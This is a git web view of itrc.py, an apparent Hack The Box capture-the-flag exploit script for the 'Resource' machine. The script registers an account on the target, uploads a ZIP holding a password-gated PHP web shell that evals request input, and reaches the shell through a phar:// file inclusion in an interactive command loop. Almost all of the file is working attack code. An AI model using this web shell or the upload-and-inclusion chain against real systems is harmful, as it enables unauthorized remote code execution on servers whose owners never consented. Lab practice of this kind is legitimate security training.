htb-season-6-resource

Recipes for HTB Season 6 "Resource"
git clone https://git.y5c4l3.net/htb-season-6-resource.git
Log | Files | Refs | README | LICENSE

itrc.py (2760B)


      1 import io
      2 import requests
      3 import zipfile
      4 import re
      5 import readline
      6 
      7 from urllib.parse import urljoin
      8 
      9 class Exploit:
     10     def __init__(self, base):
     11         self.base = base
     12         self.session = requests.Session()
     13         self.session.headers = {
     14             'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0',
     15         }
     16     def session():
     17         return self.session
     18     def prepare(self):
     19         self.session.post(f'{self.base}/api/register.php', data={
     20             'user': 'yyy555',
     21             'pass': 'yyy555',
     22             'pass2': 'yyy555',
     23         })
     24         self.session.post(f'{self.base}/api/login.php', data={
     25             'user': 'yyy555',
     26             'pass': 'yyy555',
     27         })
     28     def upload(self, content) -> str:
     29         res = self.session.post(f'{self.base}/api/create_ticket.php',
     30             data={
     31                 'subject': 'exploit',
     32                 'body': 'exploit',
     33             },
     34             files={
     35                 'attachment': ('attachment.zip', content, 'application/zip'),
     36             },
     37         )
     38 
     39         res = self.session.get(f'{self.base}')
     40 
     41         PATTERN_TICKET = re.compile(r'id=(\d+)')
     42         *_, last = re.finditer(PATTERN_TICKET, res.text)
     43         ticket_id = last.group(1)
     44 
     45         res = self.session.get(f'{self.base}/', params={
     46             'page': 'ticket',
     47             'id': ticket_id,
     48         })
     49 
     50         PATTERN_HREF = re.compile(r'uploads/(.*?\.zip)')
     51         result = re.search(PATTERN_HREF, res.text).group(0)
     52 
     53         return result
     54     def include(self, path, method, **kwargs):
     55         res = self.session.request(method, f'{self.base}/?page={path}', **kwargs)
     56         return res
     57 
     58 payload = io.BytesIO()
     59 shell = b'''
     60 <?php
     61     if (md5($_GET['p'] ?? '') !== 'b90f3171a899adc93d54a5e53bb8a13d')
     62     {
     63         die(1);
     64     }
     65     @error_reporting(E_ALL);
     66     @ini_set('display_errors', 'on');
     67     echo '<output>';
     68     eval(file_get_contents('php://input') . ($_GET['c'] ?? ''));
     69     echo '</output>';
     70 ?>
     71 '''
     72 OUTPUT_PATTERN = re.compile(r'<output>(.*?)</output>', re.MULTILINE | re.DOTALL)
     73 with zipfile.ZipFile(payload, 'w', compression=zipfile.ZIP_DEFLATED, allowZip64=False) as z:
     74     z.writestr('shell.php', shell)
     75 
     76 exp = Exploit('http://itrc.ssg.htb')
     77 exp.prepare()
     78 path = exp.upload(payload.getvalue())
     79 print(f'Uploaded at {path}')
     80 
     81 path = f'phar://{path}/shell'
     82 
     83 readline.parse_and_bind('"\\e[A": history-search-backward')
     84 readline.parse_and_bind('"\\e[B": history-search-forward')
     85 while True:
     86     line = input('> ')
     87     try:
     88         res = exp.include(path, 'POST', params={'p': 'yyy555'}, data=line)
     89         result = re.findall(OUTPUT_PATTERN, res.text)[0]
     90         print(result.strip())
     91     except Exception as e:
     92         print('Failed to execute')
     93         print(e)